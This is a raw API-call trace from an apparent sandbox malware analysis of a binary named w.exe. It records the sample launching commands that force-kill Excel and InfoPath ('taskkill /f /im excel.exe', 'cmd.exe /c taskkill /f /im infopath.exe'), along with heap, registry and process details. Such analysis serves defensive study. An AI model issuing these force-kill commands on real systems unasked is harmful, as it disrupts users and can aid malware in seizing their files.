	[0043.985] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x5907f8, lpFilePart=0x30f03c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x30f03c*="Desktop") returned 0x25
	[0043.985] SetErrorMode (uMode=0x8003) returned 0x1
	[0043.985] GetProcessHeap () returned 0x590000
	[0043.985] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5907f0, Size=0x66) returned 0x5907f0
	[0043.985] GetProcessHeap () returned 0x590000
	[0043.985] RtlSizeHeap (HeapHandle=0x590000, Flags=0x0, MemoryPointer=0x5907f0) returned 0x66
	[0043.986] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab30640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0043.986] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0043.986] GetProcessHeap () returned 0x590000
	[0043.986] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x120) returned 0x5a3430
	[0043.986] GetProcessHeap () returned 0x590000
	[0043.986] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x238) returned 0x590860
	[0043.987] GetProcessHeap () returned 0x590000
	[0043.987] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x590860, Size=0x122) returned 0x590860
	[0043.988] GetProcessHeap () returned 0x590000
	[0043.988] RtlSizeHeap (HeapHandle=0x590000, Flags=0x0, MemoryPointer=0x590860) returned 0x122
	[0043.988] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab30640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0043.988] GetProcessHeap () returned 0x590000
	[0043.988] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0xe0) returned 0x590990
	[0043.988] GetProcessHeap () returned 0x590000
	[0043.988] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x590990, Size=0x76) returned 0x590990
	[0043.988] GetProcessHeap () returned 0x590000
	[0043.988] RtlSizeHeap (HeapHandle=0x590000, Flags=0x0, MemoryPointer=0x590990) returned 0x76
	[0043.988] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0043.988] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x30edb8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30edb8) returned 0xffffffff
	[0043.988] GetLastError () returned 0x2
	[0043.988] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x30edb8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30edb8) returned 0xffffffff
	[0043.988] GetLastError () returned 0x2
	[0043.988] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0043.988] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x30edb8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30edb8) returned 0x5a3558
	[0043.989] GetProcessHeap () returned 0x590000
	[0043.989] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x14) returned 0x590a10
	[0043.989] FindClose (in: hFindFile=0x5a3558 | out: hFindFile=0x5a3558) returned 1
	[0043.989] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x30edb8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30edb8) returned 0xffffffff
	[0043.989] GetLastError () returned 0x2
	[0043.989] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x30edb8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30edb8) returned 0x5a3558
	[0043.989] GetProcessHeap () returned 0x590000
	[0043.989] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x590a10, Size=0x4) returned 0x590a10
	[0043.989] FindClose (in: hFindFile=0x5a3558 | out: hFindFile=0x5a3558) returned 1
	[0043.989] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0043.989] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0043.989] GetConsoleTitleW (in: lpConsoleTitle=0x30f2b0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0043.989] InitializeProcThreadAttributeList (in: lpAttributeList=0x30f138, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x30f200 | out: lpAttributeList=0x30f138, lpSize=0x30f200) returned 1
	[0043.989] UpdateProcThreadAttribute (in: lpAttributeList=0x30f138, dwFlags=0x0, Attribute=0x60001, lpValue=0x30f1f8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x30f138, lpPreviousValue=0x0) returned 1
	[0043.989] GetStartupInfoW (in: lpStartupInfo=0x30f0f4 | out: lpStartupInfo=0x30f0f4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0xbc, hStdError=0xc0)) 
	[0043.989] GetProcessHeap () returned 0x590000
	[0043.989] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x18) returned 0x5a3558
	[0043.989] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0043.990] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0043.991] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0043.991] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0043.991] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0043.991] GetProcessHeap () returned 0x590000
	[0043.991] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a3558 | out: hHeap=0x590000) returned 1
	[0043.991] GetProcessHeap () returned 0x590000
	[0043.991] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0xa) returned 0x59fed8
	[0043.991] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0043.992] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im excel.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x30f194*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im excel.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x30f1e0 | out: lpCommandLine="taskkill  /f /im excel.exe ", lpProcessInformation=0x30f1e0*(hProcess=0x78, hThread=0x74, dwProcessId=0xb18, dwThreadId=0xb10)) returned 1
	[0043.997] CloseHandle (hObject=0x74) returned 1
	[0043.997] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0043.997] GetProcessHeap () returned 0x590000
	[0043.997] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a5ec8 | out: hHeap=0x590000) returned 1
	[0043.997] GetEnvironmentStringsW () returned 0x5b4a40*
	[0043.997] GetProcessHeap () returned 0x590000
	[0043.997] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0xb36) returned 0x5a4088
	[0043.997] FreeEnvironmentStringsW (penv=0x5b4a40) returned 1
	[0043.997] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0044.283] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x30f0d4 | out: lpExitCode=0x30f0d4*=0x80) returned 1
	[0044.283] CloseHandle (hObject=0x78) returned 1
	[0044.283] _vsnwprintf (in: _Buffer=0x30f21c, _BufferCount=0x13, _Format="%08X", _ArgList=0x30f0e0 | out: _Buffer="00000080") returned 8
	[0044.283] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0044.283] GetProcessHeap () returned 0x590000
	[0044.283] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a4088 | out: hHeap=0x590000) returned 1
	[0044.283] GetEnvironmentStringsW () returned 0x5a4088*
	[0044.283] GetProcessHeap () returned 0x590000
	[0044.283] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0xb5c) returned 0x5a5ec8
	[0044.283] FreeEnvironmentStringsW (penv=0x5a4088) returned 1
	[0044.283] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0044.283] GetProcessHeap () returned 0x590000
	[0044.283] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a5ec8 | out: hHeap=0x590000) returned 1
	[0044.283] GetEnvironmentStringsW () returned 0x5a4088*
	[0044.283] GetProcessHeap () returned 0x590000
	[0044.283] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0xb5c) returned 0x5a5ec8
	[0044.283] FreeEnvironmentStringsW (penv=0x5a4088) returned 1
	[0044.283] GetProcessHeap () returned 0x590000
	[0044.283] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x59fed8 | out: hHeap=0x590000) returned 1
	[0044.283] DeleteProcThreadAttributeList (in: lpAttributeList=0x30f138 | out: lpAttributeList=0x30f138) 
	[0044.283] _get_osfhandle (_FileHandle=1) returned 0xbc
	[0044.283] SetConsoleMode (hConsoleHandle=0xbc, dwMode=0x0) returned 0
	[0044.284] _get_osfhandle (_FileHandle=1) returned 0xbc
	[0044.284] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x4ab241ac | out: lpMode=0x4ab241ac) returned 0
	[0044.284] _get_osfhandle (_FileHandle=0) returned 0xb8
	[0044.284] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4ab241b0 | out: lpMode=0x4ab241b0) returned 0
	[0044.284] GetConsoleOutputCP () returned 0x1b5
	[0044.284] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab24260 | out: lpCPInfo=0x4ab24260) returned 1
	[0044.284] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0044.284] exit (_Code=128) 

Process:
	id = "53"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x24f00000"
	os_pid = "0xb18"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "52"
	os_parent_pid = "0xb20"
	cmd_line = "taskkill  /f /im excel.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 245
	os_tid = 0xb10


Thread:
	id = 246
	os_tid = 0xb0c


Thread:
	id = 247
	os_tid = 0xb08


Thread:
	id = 248
	os_tid = 0xb04


Thread:
	id = 249
	os_tid = 0xb74


Process:
	id = "54"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x49cc7000"
	os_pid = "0xb70"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im infopath.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 250
	os_tid = 0xb64

	[0044.356] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x44f9d0 | out: lpSystemTimeAsFileTime=0x44f9d0*(dwLowDateTime=0x113a90, dwHighDateTime=0x1d52dc5)) 
	[0044.356] GetCurrentProcessId () returned 0xb70
	[0044.356] GetCurrentThreadId () returned 0xb64
	[0044.356] GetTickCount () returned 0x1b49e
	[0044.356] QueryPerformanceCounter (in: lpPerformanceCount=0x44f9c8 | out: lpPerformanceCount=0x44f9c8*=16466621280) returned 1
	[0044.357] GetModuleHandleA (lpModuleName=0x0) returned 0x4aa70000
	[0044.357] __set_app_type (_Type=0x1) 
	[0044.357] __p__fmode () returned 0x74eb31f4
	[0044.357] __p__commode () returned 0x74eb31fc
	[0044.358] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4aa921a6) returned 0x0
	[0044.358] __getmainargs (in: _Argc=0x4aa94238, _Argv=0x4aa94240, _Env=0x4aa9423c, _DoWildCard=0, _StartInfo=0x4aa94140 | out: _Argc=0x4aa94238, _Argv=0x4aa94240, _Env=0x4aa9423c) returned 0
	[0044.358] GetCurrentThreadId () returned 0xb64
	[0044.358] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb64) returned 0x60
	[0044.358] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0044.358] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0044.358] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0044.358] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0044.358] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x44f960 | out: phkResult=0x44f960*=0x0) returned 0x2
	[0044.359] VirtualQuery (in: lpAddress=0x44f997, lpBuffer=0x44f930, dwLength=0x1c | out: lpBuffer=0x44f930*(BaseAddress=0x44f000, AllocationBase=0x350000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0044.359] VirtualQuery (in: lpAddress=0x350000, lpBuffer=0x44f930, dwLength=0x1c | out: lpBuffer=0x44f930*(BaseAddress=0x350000, AllocationBase=0x350000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0044.359] VirtualQuery (in: lpAddress=0x351000, lpBuffer=0x44f930, dwLength=0x1c | out: lpBuffer=0x44f930*(BaseAddress=0x351000, AllocationBase=0x350000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0044.359] VirtualQuery (in: lpAddress=0x353000, lpBuffer=0x44f930, dwLength=0x1c | out: lpBuffer=0x44f930*(BaseAddress=0x353000, AllocationBase=0x350000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0044.359] VirtualQuery (in: lpAddress=0x450000, lpBuffer=0x44f930, dwLength=0x1c | out: lpBuffer=0x44f930*(BaseAddress=0x450000, AllocationBase=0x450000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c
	[0044.359] GetConsoleOutputCP () returned 0x1b5
	[0044.359] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa94260 | out: lpCPInfo=0x4aa94260) returned 1
	[0044.359] SetConsoleCtrlHandler (HandlerRoutine=0x4aa8e72a, Add=1) returned 1
	[0044.359] _get_osfhandle (_FileHandle=1) returned 0xb8
	[0044.359] SetConsoleMode (hConsoleHandle=0xb8, dwMode=0x0) returned 0
	[0044.359] _get_osfhandle (_FileHandle=1) returned 0xb8
	[0044.359] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4aa941ac | out: lpMode=0x4aa941ac) returned 0
	[0044.359] _get_osfhandle (_FileHandle=0) returned 0xac
	[0044.359] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x4aa941b0 | out: lpMode=0x4aa941b0) returned 0
	[0044.360] GetEnvironmentStringsW () returned 0x862008*
	[0044.360] GetProcessHeap () returned 0x850000
	[0044.360] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x8, Size=0xaca) returned 0x862ae0
	[0044.360] FreeEnvironmentStringsW (penv=0x862008) returned 1
	[0044.360] GetProcessHeap () returned 0x850000
	[0044.360] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x8, Size=0x4) returned 0x860c40
	[0044.360] GetEnvironmentStringsW () returned 0x862008*
	[0044.360] GetProcessHeap () returned 0x850000
	[0044.360] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x8, Size=0xaca) returned 0x8635b8
	[0044.360] FreeEnvironmentStringsW (penv=0x862008) returned 1
	[0044.360] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x44e8d0 | out: phkResult=0x44e8d0*=0x68) returned 0x0
	[0044.360] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x44e8d8, lpData=0x44e8dc, lpcbData=0x44e8d4*=0x1000 | out: lpType=0x44e8d8*=0x0, lpData=0x44e8dc*=0x0, lpcbData=0x44e8d4*=0x1000) returned 0x2
	[0044.360] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x44e8d8, lpData=0x44e8dc, lpcbData=0x44e8d4*=0x1000 | out: lpType=0x44e8d8*=0x4, lpData=0x44e8dc*=0x1, lpcbData=0x44e8d4*=0x4) returned 0x0
	[0044.360] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x44e8d8, lpData=0x44e8dc, lpcbData=0x44e8d4*=0x1000 | out: lpType=0x44e8d8*=0x0, lpData=0x44e8dc*=0x1, lpcbData=0x44e8d4*=0x1000) returned 0x2
	[0044.361] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x44e8d8, lpData=0x44e8dc, lpcbData=0x44e8d4*=0x1000 | out: lpType=0x44e8d8*=0x4, lpData=0x44e8dc*=0x0, lpcbData=0x44e8d4*=0x4) returned 0x0
	[0044.361] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x44e8d8, lpData=0x44e8dc, lpcbData=0x44e8d4*=0x1000 | out: lpType=0x44e8d8*=0x4, lpData=0x44e8dc*=0x40, lpcbData=0x44e8d4*=0x4) returned 0x0
	[0044.361] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x44e8d8, lpData=0x44e8dc, lpcbData=0x44e8d4*=0x1000 | out: lpType=0x44e8d8*=0x4, lpData=0x44e8dc*=0x40, lpcbData=0x44e8d4*=0x4) returned 0x0
	[0044.361] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x44e8d8, lpData=0x44e8dc, lpcbData=0x44e8d4*=0x1000 | out: lpType=0x44e8d8*=0x0, lpData=0x44e8dc*=0x40, lpcbData=0x44e8d4*=0x1000) returned 0x2
	[0044.361] RegCloseKey (hKey=0x68) returned 0x0
	[0044.361] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x44e8d0 | out: phkResult=0x44e8d0*=0x68) returned 0x0
	[0044.361] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x44e8d8, lpData=0x44e8dc, lpcbData=0x44e8d4*=0x1000 | out: lpType=0x44e8d8*=0x0, lpData=0x44e8dc*=0x40, lpcbData=0x44e8d4*=0x1000) returned 0x2
	[0044.361] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x44e8d8, lpData=0x44e8dc, lpcbData=0x44e8d4*=0x1000 | out: lpType=0x44e8d8*=0x4, lpData=0x44e8dc*=0x1, lpcbData=0x44e8d4*=0x4) returned 0x0
	[0044.361] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x44e8d8, lpData=0x44e8dc, lpcbData=0x44e8d4*=0x1000 | out: lpType=0x44e8d8*=0x0, lpData=0x44e8dc*=0x1, lpcbData=0x44e8d4*=0x1000) returned 0x2
	[0044.361] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x44e8d8, lpData=0x44e8dc, lpcbData=0x44e8d4*=0x1000 | out: lpType=0x44e8d8*=0x4, lpData=0x44e8dc*=0x0, lpcbData=0x44e8d4*=0x4) returned 0x0
	[0044.361] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x44e8d8, lpData=0x44e8dc, lpcbData=0x44e8d4*=0x1000 | out: lpType=0x44e8d8*=0x4, lpData=0x44e8dc*=0x9, lpcbData=0x44e8d4*=0x4) returned 0x0
	[0044.361] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x44e8d8, lpData=0x44e8dc, lpcbData=0x44e8d4*=0x1000 | out: lpType=0x44e8d8*=0x4, lpData=0x44e8dc*=0x9, lpcbData=0x44e8d4*=0x4) returned 0x0
	[0044.361] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x44e8d8, lpData=0x44e8dc, lpcbData=0x44e8d4*=0x1000 | out: lpType=0x44e8d8*=0x0, lpData=0x44e8dc*=0x9, lpcbData=0x44e8d4*=0x1000) returned 0x2
	[0044.361] RegCloseKey (hKey=0x68) returned 0x0
	[0044.361] time (in: timer=0x0 | out: timer=0x0) returned 0x5d163035
	[0044.361] srand (_Seed=0x5d163035) 
	[0044.361] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im infopath.exe \""
	[0044.361] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im infopath.exe \""
	[0044.361] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aa95260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0044.362] GetProcessHeap () returned 0x850000
	[0044.362] RtlAllocateHeap (HeapHandle=0x850000, Flags=0x8, Size=0x210) returned 0x862008
	[0044.362] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x862010, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0044.362] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4aaa0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0044.362] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4aaa0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0044.362] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4aaa0640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0044.362] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0044.362] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0044.362] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0044.362] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0044.362] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0044.362] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0044.362] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0044.362] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0044.362] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0044.362] GetProcessHeap () returned 0x850000
	[0044.362] HeapFree (in: hHeap=0x850000, dwFlags=0x0, lpMem=0x862ae0 | out: hHeap=0x850000) returned 1
